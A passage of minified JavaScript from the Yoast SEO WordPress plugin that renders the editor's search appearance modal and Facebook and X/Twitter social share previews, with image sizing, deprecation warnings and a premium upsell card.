below.","wordpress-seo"),mapEditorDataToPreview:ua,showCloseButton:!1,idSuffix:s})));ma.propTypes={isLoading:y().bool.isRequired,onLoad:y().func.isRequired,hasPaperStyle:y().bool.isRequired,location:y().string.isRequired};const ha=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getBaseUrlFromSettings:t,getDateFromSettings:s,getEditorDataImageUrl:r,getFocusKeyphrase:n,getRecommendedReplaceVars:a,getSiteIconUrlFromSettings:o,getSnippetEditorData:i,getSnippetEditorIsLoading:l,getSnippetEditorMode:c,getSnippetEditorWordsToHighlight:d,isCornerstoneContent:p,getContentLocale:u,getSiteName:m}=e("yoast-seo/editor");return{baseUrl:t(),data:i(),date:s(),faviconSrc:o(),isLoading:l(),keyword:n(),mobileImageSrc:r(),mode:c(),recommendedReplacementVariables:a(),replacementVariables:da(),wordsToHighlight:d(),isCornerstone:p(),locale:u(),siteName:m()}})),(0,i.withDispatch)((e=>{const{updateData:t,switchMode:s,updateAnalysisData:r,loadSnippetEditorData:n}=e("yoast-seo/editor");return{onChange:(e,r)=>{switch(e){case"mode":s(r);break;case"slug":t({slug:r});break;default:t({[e]:r})}},onChangeAnalysisData:r,onLoad:n}})),us()])(ma),ga=ht()(an)`
width: 18px;
height: 18px;
margin: 3px;
`,ya=()=>{const e=kr(),t=(0,i.useSelect)((e=>e("yoast-seo/editor").getIsElementorEditor()),[]);return(0,c.createElement)(Tr,{title:(0,m.__)("Search appearance","wordpress-seo"),id:"yoast-search-appearance-modal",shouldCloseOnClickOutside:!1,SuffixHeroIcon:(0,c.createElement)(ga,{className:"yst-text-slate-500",...e})},!0===t&&(0,c.createElement)(ha,{showCloseButton:!1,hasPaperStyle:!1}),!1===t&&(0,c.createElement)(fn,{showCloseButton:!1,hasPaperStyle:!1}))},fa=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{d:"M15 8a3 3 0 10-2.977-2.63l-4.94 2.47a3 3 0 100 4.319l4.94 2.47a3 3 0 10.895-1.789l-4.94-2.47a3.027 3.027 0 000-.74l4.94-2.47C13.456 7.68 14.19 8 15 8z"}))})),wa=ht().p`
color: #606770;
flex-shrink: 0;
font-size: 12px;
line-height: 16px;
overflow: hidden;
padding: 0;
text-overflow: ellipsis;
text-transform: uppercase;
white-space: nowrap;
margin: 0;
position: ${e=>"landscape"===e.mode?"relative":"static"};
`,ba=e=>{const{siteUrl:t}=e;return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("span",{className:"screen-reader-text"},t),(0,c.createElement)(wa,{"aria-hidden":"true"},(0,c.createElement)("span",null,t)))};ba.propTypes={siteUrl:y().string.isRequired};const Ea=ba,_a=window.yoast.socialMetadataForms,va=window.yoast.styleGuide,ka=ht().img`
&& {
max-width: ${e=>e.width}px;
height: ${e=>e.height}px;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
max-width: none;
}
`,xa=ht().img`
&&{
height: 100%;
position: absolute;
width: 100%;
object-fit: cover;
}
`,Sa=ht().div`
padding-bottom: ${e=>e.aspectRatio}%;
`,Ta=e=>{const{imageProps:t,width:s,height:r,imageMode:n}=e;return"landscape"===n?(0,c.createElement)(Sa,{aspectRatio:t.aspectRatio},(0,c.createElement)(xa,{src:t.src,alt:t.alt})):(0,c.createElement)(ka,{src:t.src,alt:t.alt,width:s,height:r,imageProperties:t})};function Ra(e,t,s){return"landscape"===s?{widthRatio:t.width/e.landscapeWidth,heightRatio:t.height/e.landscapeHeight}:"portrait"===s?{widthRatio:t.width/e.portraitWidth,heightRatio:t.height/e.portraitHeight}:{widthRatio:t.width/e.squareWidth,heightRatio:t.height/e.squareHeight}}function Ca(e,t){return t.widthRatio<=t.heightRatio?{width:Math.round(e.width/t.widthRatio),height:Math.round(e.height/t.widthRatio)}:{width:Math.round(e.width/t.heightRatio),height:Math.round(e.height/t.heightRatio)}}async function Ia(e,t,s=!1){const r=await function(e){return new Promise(((t,s)=>{const r=new Image;r.onload=()=>{t({width:r.width,height:r.height})},r.onerror=s,r.src=e}))}(e);let n=s?"landscape":"square";"Facebook"===t&&(n=(0,_a.determineFacebookImageMode)(r));const a=function(e){return"Twitter"===e?_a.TWITTER_IMAGE_SIZES:_a.FACEBOOK_IMAGE_SIZES}(t),o=function(e,t,s){return"square"===s&&t.width===t.height?{width:e.squareWidth,height:e.squareHeight}:Ca(t,Ra(e,t,s))}(a,r,n);return{mode:n,height:o.height,width:o.width}}async function Pa(e,t,s=!1){try{return{imageProperties:await Ia(e,t,s),status:"loaded"}}catch(e){return{imageProperties:null,status:"errored"}}}Ta.propTypes={imageProps:y().shape({src:y().string.isRequired,alt:y().string.isRequired,aspectRatio:y().number.isRequired}).isRequired,width:y().number.isRequired,height:y().number.isRequired,imageMode:y().string},Ta.defaultProps={imageMode:"landscape"};const La=ht().div`
position: relative;
${e=>"landscape"===e.mode?`max-width: ${e.dimensions.width}`:`min-width: ${e.dimensions.width}; height: ${e.dimensions.height}`};
overflow: hidden;
background-color: ${va.colors.$color_white};
`,Aa=ht().div`
box-sizing: border-box;
max-width: ${_a.FACEBOOK_IMAGE_SIZES.landscapeWidth}px;
height: ${_a.FACEBOOK_IMAGE_SIZES.landscapeHeight}px;
background-color: ${va.colors.$color_grey};
border-style: dashed;
border-width: 1px;
// We're not using standard colors to increase contrast for accessibility.
color: #006DAC;
// We're not using standard colors to increase contrast for accessibility.
background-color: #f1f1f1;
display: flex;
justify-content: center;
align-items: center;
text-decoration: underline;
font-size: 14px;
cursor: pointer;
`;class Oa extends c.Component{constructor(e){super(e),this.state={imageProperties:null,status:"loading"},this.socialMedium="Facebook",this.handleFacebookImage=this.handleFacebookImage.bind(this),this.setState=this.setState.bind(this)}async handleFacebookImage(){try{const e=await Pa(this.props.src,this.socialMedium);this.setState(e),this.props.onImageLoaded(e.imageProperties.mode||"landscape")}catch(e){this.setState(e),this.props.onImageLoaded("landscape")}}componentDidUpdate(e){e.src!==this.props.src&&this.handleFacebookImage()}componentDidMount(){this.handleFacebookImage()}retrieveContainerDimensions(e){switch(e){case"square":return{height:_a.FACEBOOK_IMAGE_SIZES.squareHeight+"px",width:_a.FACEBOOK_IMAGE_SIZES.squareWidth+"px"};case"portrait":return{height:_a.FACEBOOK_IMAGE_SIZES.portraitHeight+"px",width:_a.FACEBOOK_IMAGE_SIZES.portraitWidth+"px"};case"landscape":return{height:_a.FACEBOOK_IMAGE_SIZES.landscapeHeight+"px",width:_a.FACEBOOK_IMAGE_SIZES.landscapeWidth+"px"}}}render(){const{imageProperties:e,status:t}=this.state;if("loading"===t||""===this.props.src||"errored"===t)return(0,c.createElement)(Aa,{onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,m.__)("Select image","wordpress-seo"));const s=this.retrieveContainerDimensions(e.mode);return(0,c.createElement)(La,{mode:e.mode,dimensions:s,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave,onClick:this.props.onImageClick},(0,c.createElement)(Ta,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:_a.FACEBOOK_IMAGE_SIZES.aspectRatio},width:e.width,height:e.height,imageMode:e.mode}))}}Oa.propTypes={src:y().string,alt:y().string,onImageLoaded:y().func,onImageClick:y().func,onMouseEnter:y().func,onMouseLeave:y().func},Oa.defaultProps={src:"",alt:"",onImageLoaded:R.noop,onImageClick:R.noop,onMouseEnter:R.noop,onMouseLeave:R.noop};const Fa=Oa,Da=ht().span`
line-height: ${20}px;
min-height : ${20}px;
color: #1d2129;
font-weight: 600;
overflow: hidden;
font-size: 16px;
margin: 3px 0 0;
letter-spacing: normal;
white-space: normal;
flex-shrink: 0;
cursor: pointer;
display: -webkit-box;
-webkit-line-clamp: ${e=>e.lineCount};
-webkit-box-orient: vertical;
overflow: hidden;
`,Ma=ht().p`
line-height: ${16}px;
min-height : ${16}px;
color: #606770;
font-size: 14px;
padding: 0;
text-overflow: ellipsis;
margin: 3px 0 0 0;
display: -webkit-box;
cursor: pointer;
-webkit-line-clamp: ${e=>e.lineCount};
-webkit-box-orient: vertical;
overflow: hidden;
@media all and ( max-width: ${e=>e.maxWidth} ) {
display: none;
}
`,Na=e=>{switch(e){case"landscape":return"527px";case"square":case"portrait":return"369px";default:return"476px"}},qa=ht().div`
box-sizing: border-box;
display: flex;
flex-direction: ${e=>"landscape"===e.mode?"column":"row"};
background-color: #f2f3f5;
max-width: 527px;
`,Ua=ht().div`
box-sizing: border-box;
background-color: #f2f3f5;
margin: 0;
padding: 10px 12px;
position: relative;
border-bottom: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
border-top: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
border-right: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
border: ${e=>"landscape"===e.mode?"1px solid #dddfe2":""};
display: flex;
flex-direction: column;
flex-grow: 1;
justify-content: ${e=>"landscape"===e.mode?"flex-start":"center"};
font-size: 12px;
overflow: hidden;
`;class $a extends c.Component{constructor(e){super(e),this.state={imageMode:null,maxLineCount:0,descriptionLineCount:0},this.facebookTitleRef=d().createRef(),this.onImageLoaded=this.onImageLoaded.bind(this),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}onImageLoaded(e){this.setState({imageMode:e})}getTitleLineCount(){return this.facebookTitleRef.current.offsetHeight/20}maybeSetMaxLineCount(){const{imageMode:e,maxLineCount:t}=this.state,s="landscape"===e?2:5;s!==t&&this.setState({maxLineCount:s})}maybeSetDescriptionLineCount(){const{descriptionLineCount:e,maxLineCount:t,imageMode:s}=this.state,r=this.getTitleLineCount();let n=t-r;"portrait"===s&&(n=5===r?0:4),n!==e&&this.setState({descriptionLineCount:n})}componentDidUpdate(){this.maybeSetMaxLineCount(),this.maybeSetDescriptionLineCount()}render(){const{imageMode:e,maxLineCount:t,descriptionLineCount:s}=this.state;return(0,c.createElement)(qa,{id:"facebookPreview",mode:e},(0,c.createElement)(Fa,{src:this.props.imageUrl||this.props.imageFallbackUrl,alt:this.props.alt,onImageLoaded:this.onImageLoaded,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,c.createElement)(Ua,{mode:e},(0,c.createElement)(Ea,{siteUrl:this.props.siteUrl,mode:e}),(0,c.createElement)(Da,{ref:this.facebookTitleRef,onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle,lineCount:t},this.props.title),s>0&&(0,c.createElement)(Ma,{maxWidth:Na(e),onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription,lineCount:s},this.props.description)))}}$a.propTypes={siteUrl:y().string.isRequired,title:y().string.isRequired,description:y().string,imageUrl:y().string,imageFallbackUrl:y().string,alt:y().string,onSelect:y().func,onImageClick:y().func,onMouseHover:y().func},$a.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{}};const Ba=$a,Wa=ht().div`
text-transform: lowercase;
color: rgb(83, 100, 113);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
margin: 0;
fill: currentcolor;
display: flex;
flex-direction: row;
align-items: flex-end;
`,Ya=e=>(0,c.createElement)(Wa,null,(0,c.createElement)("span",null,e.siteUrl));Ya.propTypes={siteUrl:y().string.isRequired};const Ka=Ya,ja=(e,t=!0)=>e?`\n\t\t\tmax-width: ${_a.TWITTER_IMAGE_SIZES.landscapeWidth}px;\n\t\t\t${t?"border-bottom: 1px solid #E1E8ED;":""}\n\t\t\tborder-radius: 14px 14px 0 0;\n\t\t\t`:`\n\t\twidth: ${_a.TWITTER_IMAGE_SIZES.squareWidth}px;\n\t\t${t?"border-right: 1px solid #E1E8ED;":""}\n\t\tborder-radius: 14px 0 0 14px;\n\t\t`,za=ht().div`
position: relative;
box-sizing: content-box;
overflow: hidden;
background-color: #e1e8ed;
flex-shrink: 0;
${e=>ja(e.isLarge)}
`,Ha=ht().div`
display: flex;
justify-content: center;
align-items: center;
box-sizing: border-box;
max-width: 100%;
margin: 0;
padding: 1em;
text-align: center;
font-size: 1rem;
${e=>ja(e.isLarge,!1)}
`,Va=ht()(Ha)`
${e=>e.isLarge&&`height: ${_a.TWITTER_IMAGE_SIZES.landscapeHeight}px;`}
border-top-left-radius: 14px;
${e=>e.isLarge?"border-top-right-radius":"border-bottom-left-radius"}: 14px;
border-style: dashed;
border-width: 1px;
// We're not using standard colors to increase contrast for accessibility.
color: #006DAC;
// We're not using standard colors to increase contrast for accessibility.
background-color: #f1f1f1;
text-decoration: underline;
font-size: 14px;
cursor: pointer;
`;class Ga extends d().Component{constructor(e){super(e),this.state={status:"loading"},this.socialMedium="Twitter",this.handleTwitterImage=this.handleTwitterImage.bind(this),this.setState=this.setState.bind(this)}async handleTwitterImage(){if(null===this.props.src)return;const e=await Pa(this.props.src,this.socialMedium,this.props.isLarge);this.setState(e)}componentDidUpdate(e){e.src!==this.props.src&&this.handleTwitterImage()}componentDidMount(){this.handleTwitterImage()}render(){const{status:e,imageProperties:t}=this.state;return"loading"===e||""===this.props.src||"errored"===e?(0,c.createElement)(Va,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,m.__)("Select image","wordpress-seo")):(0,c.createElement)(za,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,c.createElement)(Ta,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:_a.TWITTER_IMAGE_SIZES.aspectRatio},width:t.width,height:t.height,imageMode:t.mode}))}}Ga.propTypes={isLarge:y().bool.isRequired,src:y().string,alt:y().string,onImageClick:y().func,onMouseEnter:y().func,onMouseLeave:y().func},Ga.defaultProps={src:"",alt:"",onMouseEnter:R.noop,onImageClick:R.noop,onMouseLeave:R.noop};const Za=ht().div`
display: flex;
flex-direction: column;
padding: 12px;
justify-content: center;
margin: 0;
box-sizing: border-box;
flex: auto;
min-width: 0px;
gap:2px;
> * {
line-height:20px;
min-height:20px;
font-size:15px;
}
`,Qa=e=>(0,c.createElement)(Za,null,e.children);Qa.propTypes={children:y().array.isRequired};const Xa=Qa,Ja=ht().p`
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
margin: 0;
color: rgb(15, 20, 25);
cursor: pointer;
`,eo=ht().p`
max-height: 55px;
overflow: hidden;
text-overflow: ellipsis;
margin: 0;
color: rgb(83, 100, 113);
display: -webkit-box;
cursor: pointer;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
@media all and ( max-width: ${_a.TWITTER_IMAGE_SIZES.landscapeWidth}px ) {
display: none;
}
`,to=ht().div`
font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, "Helvetica Neue", sans-serif;
font-size: 15px;
font-weight: 400;
line-height: 20px;
max-width: 507px;
border: 1px solid #E1E8ED;
box-sizing: border-box;
border-radius: 14px;
color: #292F33;
background: #FFFFFF;
text-overflow: ellipsis;
display: flex;
&:hover {
background: #f5f8fa;
border: 1px solid rgba(136,153,166,.5);
}
`,so=ht()(to)`
flex-direction: column;
max-height: 370px;
`,ro=ht()(to)`
flex-direction: row;
height: 125px;
`;class no extends c.Component{constructor(e){super(e),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}render(){const{isLarge:e,imageUrl:t,imageFallbackUrl:s,alt:r,title:n,description:a,siteUrl:o}=this.props,i=e?so:ro;return(0,c.createElement)(i,{id:"twitterPreview"},(0,c.createElement)(Ga,{src:t||s,alt:r,isLarge:e,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,c.createElement)(Xa,null,(0,c.createElement)(Ka,{siteUrl:o}),(0,c.createElement)(Ja,{onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle},n),(0,c.createElement)(eo,{onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription},a)))}}no.propTypes={siteUrl:y().string.isRequired,title:y().string.isRequired,description:y().string,isLarge:y().bool,imageUrl:y().string,imageFallbackUrl:y().string,alt:y().string,onSelect:y().func,onImageClick:y().func,onMouseHover:y().func},no.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{},isLarge:!0};const ao=no,oo=window.yoast.replacementVariableEditor;class io extends c.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.SocialPreview="Social"===e.socialMediumName?Ba:ao,this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:e,onTitleChange:t,onSelectImageClick:s,onRemoveImageClick:r,socialMediumName:n,imageWarnings:a,siteUrl:o,description:i,descriptionInputPlaceholder:l,descriptionPreviewFallback:p,imageUrl:u,imageFallbackUrl:m,alt:h,title:g,titleInputPlaceholder:y,titlePreviewFallback:f,replacementVariables:w,recommendedReplacementVariables:b,applyReplacementVariables:E,onReplacementVariableSearchChange:_,isPremium:v,isLarge:k,socialPreviewLabel:x,idSuffix:S,activeMetaTabId:T}=this.props,R=E({title:g||f,description:i||p});return(0,c.createElement)(d().Fragment,null,x&&(0,c.createElement)(Kt.SimulatedLabel,null,x),(0,c.createElement)(this.SocialPreview,{onMouseHover:this.setHoveredField,onSelect:this.setActiveField,onImageClick:s,siteUrl:o,title:R.title,description:R.description,imageUrl:u,imageFallbackUrl:m,alt:h,isLarge:k,activeMetaTabId:T}),(0,c.createElement)(_a.SocialMetadataPreviewForm,{onDescriptionChange:e,socialMediumName:n,title:g,titleInputPlaceholder:y,onRemoveImageClick:r,imageSelected:!!u,imageUrl:u,onTitleChange:t,onSelectImageClick:s,description:i,descriptionInputPlaceholder:l,imageWarnings:a,replacementVariables:w,recommendedReplacementVariables:b,onReplacementVariableSearchChange:_,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:v,setEditorRef:this.setEditorRef,idSuffix:S}))}}io.propTypes={title:y().string.isRequired,onTitleChange:y().func.isRequired,description:y().string.isRequired,onDescriptionChange:y().func.isRequired,imageUrl:y().string.isRequired,imageFallbackUrl:y().string.isRequired,onSelectImageClick:y().func.isRequired,onRemoveImageClick:y().func.isRequired,socialMediumName:y().string.isRequired,alt:y().string,isPremium:y().bool,imageWarnings:y().array,isLarge:y().bool,siteUrl:y().string,descriptionInputPlaceholder:y().string,titleInputPlaceholder:y().string,descriptionPreviewFallback:y().string,titlePreviewFallback:y().string,replacementVariables:oo.replacementVariablesShape,recommendedReplacementVariables:oo.recommendedReplacementVariablesShape,applyReplacementVariables:y().func,onReplacementVariableSearchChange:y().func,socialPreviewLabel:y().string,idSuffix:y().string,activeMetaTabId:y().string},io.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,isLarge:!0,siteUrl:"",descriptionInputPlaceholder:"",titleInputPlaceholder:"",descriptionPreviewFallback:"",titlePreviewFallback:"",alt:"",applyReplacementVariables:e=>e,onReplacementVariableSearchChange:null,socialPreviewLabel:"",idSuffix:"",activeMetaTabId:""};const lo={},co=(e,t,{log:s=console.warn}={})=>{lo[e]||(lo[e]=!0,s(t))},po=(e,t=R.noop)=>{const s={};for(const r in e)Object.hasOwn(e,r)&&Object.defineProperty(s,r,{set:s=>{e[r]=s,t("set",r,s)},get:()=>(t("get",r),e[r])});return s};po({squareWidth:125,squareHeight:125,landscapeWidth:506,landscapeHeight:265,aspectRatio:50.2},((e,t)=>co(`@yoast/social-metadata-previews/TWITTER_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "TWITTER_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`))),po({squareWidth:158,squareHeight:158,landscapeWidth:527,landscapeHeight:273,portraitWidth:158,portraitHeight:237,aspectRatio:52.2,largeThreshold:{width:446,height:233}},((e,t)=>co(`@yoast/social-metadata-previews/FACEBOOK_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "FACEBOOK_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`)));const uo=ht().div`
max-width: calc(527px + 1.5rem);
`,mo=e=>{const t="X"===e.socialMediumName?(0,m.__)("X share preview","wordpress-seo"):(0,m.__)("Social share preview","wordpress-seo"),{locationContext:s}=(0,h.useRootContext)();return(0,c.createElement)(h.Root,null,(0,c.createElement)(uo,null,(0,c.createElement)(h.FeatureUpsell,{shouldUpsell:!0,variant:"card",cardLink:(0,Ut.addQueryArgs)(wpseoAdminL10n["shortlinks.upsell.social_preview."+e.socialMediumName.toLowerCase()],{context:s}),cardText:(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2"},(0,c.createElement)("div",{className:"yst-grayscale yst-opacity-50"},(0,c.createElement)(h.Label,null,t),(0,c.createElement)(Ba,{title:"",description:"",siteUrl:"",imageUrl:"",imageFallbackUrl:"",alt:"",onSelect:R.noop,onImageClick:R.noop,onMouseHover:R.noop})))))};mo.propTypes={socialMediumName:y().oneOf(["Social","Twitter","X"]).isRequired};const ho=mo;class go extends u.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:e,onTitleChange:t,onSelectImageClick:s,onRemoveImageClick:r,socialMediumName:n,imageWarnings:a,description:o,descriptionInputPlaceholder:i,imageUrl:l,alt:d,title:p,titleInputPlaceholder:m,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,isPremium:f,location:w}=this.props;return(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ho,{socialMediumName:n}),(0,c.createElement)(_a.SocialMetadataPreviewForm,{onDescriptionChange:e,socialMediumName:n,title:p,titleInputPlaceholder:m,onRemoveImageClick:r,imageSelected:!!l,imageUrl:l,imageAltText:d,onTitleChange:t,onSelectImageClick:s,description:o,descriptionInputPlaceholder:i,imageWarnings:a,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:f,setEditorRef:this.setEditorRef,idSuffix:w}))}}go.propTypes={title:y().string.isRequired,onTitleChange:y().func.isRequired,description:y().string.isRequired,onDescriptionChange:y().func.isRequired,imageUrl:y().string.isRequired,onSelectImageClick:y().func.isRequired,onRemoveImageClick:y().func.isRequired,socialMediumName:y().string.isRequired,isPremium:y().bool,imageWarnings:y().array,descriptionInputPlaceholder:y().string,titleInputPlaceholder:y().string,replacementVariables:oo.replacementVariablesShape,recommendedReplacementVariables:oo.recommendedReplacementVariablesShape,onReplacementVariableSearchChange:y().func,location:y().string,alt:y().string},go.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,descriptionInputPlaceholder:"",titleInputPlaceholder:"",onReplacementVariableSearchChange:null,location:"",alt:""};const yo=go,fo=e=>{const[t,s]=(0,u.useState)(""),r=(0,u.useCallback)((e=>{s(e.detail.metaTabId)}),[s]);(0,u.useEffect)((()=>(setTimeout(e.onLoad),window.addEventListener("YoastSEO:metaTabChange",r),()=>{window.removeEventListener("YoastSEO:metaTabChange",r)})),[]);const n=(0,u.useMemo)((()=>({...e,activeMetaTabId:t})),[e,t]);return e.isPremium?(0,c.createElement)(p.Slot,{name:`YoastFacebookPremium${e.location.charAt(0).toUpperCase()+e.location.slice(1)}`,fillProps:n}):(0,c.createElement)(yo,{...n})};fo.propTypes={isPremium:y().bool.isRequired,onLoad:y().func.isRequired,location:y().string.isRequired};const wo=fo;function bo(e){(function(e){const t=window.wp.media();return t.on("select",(()=>{const s=t.state().get("selection").first();var r;e({type:(r=s.attributes).subtype,width:r.width,height:r.height,url:r.url,id:r.id,sizes:r.sizes,alt:r.alt||r.title||r.name})})),t})(e).open()}const Eo=()=>{bo((e=>(0,i.dispatch)("yoast-seo/editor").setFacebookPreviewImage((e=>{const{width:t,height:s}=e,r=(0,_a.determineFacebookImageMode)({width:t,height:s}),n=_a.FACEBOOK_IMAGE_SIZES[r+"Width"],a=_a.FACEBOOK_IMAGE_SIZES[r+"Height"],o=Object.values(e.sizes).find((e=>e.width>=n&&e.height>=a));return{url:o?o.url:e.url,id:e.id,warnings:(0,Ht.validateFacebookImage)(e),alt:e.alt||""}})(e))))},_o=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getFacebookDescription:t,getDescription:s,getFacebookTitle:r,getSeoTitle:n,getFacebookImageUrl:a,getImageFallback:o,getFacebookWarnings:i,getRecommendedReplaceVars:l,getReplaceVars:c,getSiteUrl:d,getSeoTitleTemplate:p,getSeoTitleTemplateNoFallback:u,getSocialTitleTemplate:m,getSeoDescriptionTemplate:h,getSocialDescriptionTemplate:g,getReplacedExcerpt:y,getFacebookAltText:f}=e("yoast-seo/editor");return{imageUrl:a(),imageFallbackUrl:o(),recommendedReplacementVariables:l(),replacementVariables:c(),description:t(),descriptionPreviewFallback:g()||s()||h()||y()||"",title:r(),titlePreviewFallback:m()||n()||u()||p()||"",imageWarnings:i(),siteUrl:d(),isPremium:!!ve().isPremium,titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"Social",alt:f()}})),(0,i.withDispatch)(((e,t,{select:s})=>{const{setFacebookPreviewTitle:r,setFacebookPreviewDescription:n,clearFacebookPreviewImage:a,loadFacebookPreviewData:o,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:Eo,onRemoveImageClick:a,onDescriptionChange:n,onTitleChange:r,onLoad:o,onReplacementVariableSearchChange:mn(l,i)}})),us()])(wo),vo=e=>((0,u.useEffect)((()=>{setTimeout(e.onLoad)}),[]),e.isPremium?(0,c.createElement)(p.Slot,{name:`YoastTwitterPremium${e.location.charAt(0).toUpperCase()+e.location.slice(1)}`,fillProps:e}):(0,c.createElement)(yo,{...e}));vo.propTypes={isPremium:y().bool.isRequired,onLoad:y().func.isRequired,location:y().string.isRequired};const ko=vo,xo=()=>{bo((e=>(0,i.dispatch)("yoast-seo/editor").setTwitterPreviewImage((e=>{const t="summary"!==(0,R.get)(window,"wpseoScriptData.metabox.twitterCardType")?"landscape":"square",s=_a.TWITTER_IMAGE_SIZES[t+"Width"],r=_a.TWITTER_IMAGE_SIZES[t+"Height"],n=Object.values(e.sizes).find((e=>e.width>=s&&e.height>=r));return{url:n?n.url:e.url,id:e.id,warnings:(0,Ht.validateTwitterImage)(e),alt:e.alt||""}})(e))))},So=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getTwitterDescription:t,getTwitterTitle:s,getTwitterImageUrl:r,getFacebookImageUrl:n,getFacebookTitle:a,getFacebookDescription:o,getDescription:i,getSeoTitle:l,getTwitterWarnings:c,getTwitterImageType:d,getImageFallback:p,getRecommendedReplaceVars:u,getReplaceVars:m,getSiteUrl:h,getSeoTitleTemplate:g,getSeoTitleTemplateNoFallback:y,getSocialTitleTemplate:f,getSeoDescriptionTemplate:w,getSocialDescriptionTemplate:b,getReplacedExcerpt:E,getTwitterAltText:_}=e("yoast-seo/editor");return{imageUrl:r(),imageFallbackUrl:n()||p(),recommendedReplacementVariables:u(),replacementVariables:m(),description:t(),descriptionPreviewFallback:b()||o()||i()||w()||E()||"",title:s(),titlePreviewFallback:f()||a()||l()||y()||g()||"",imageWarnings:c(),siteUrl:h(),isPremium:!!ve().isPremium,isLarge:"summary"!==d(),titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"X",alt:_()}})),(0,i.withDispatch)(((e,t,{select:s})=>{const{setTwitterPreviewTitle:r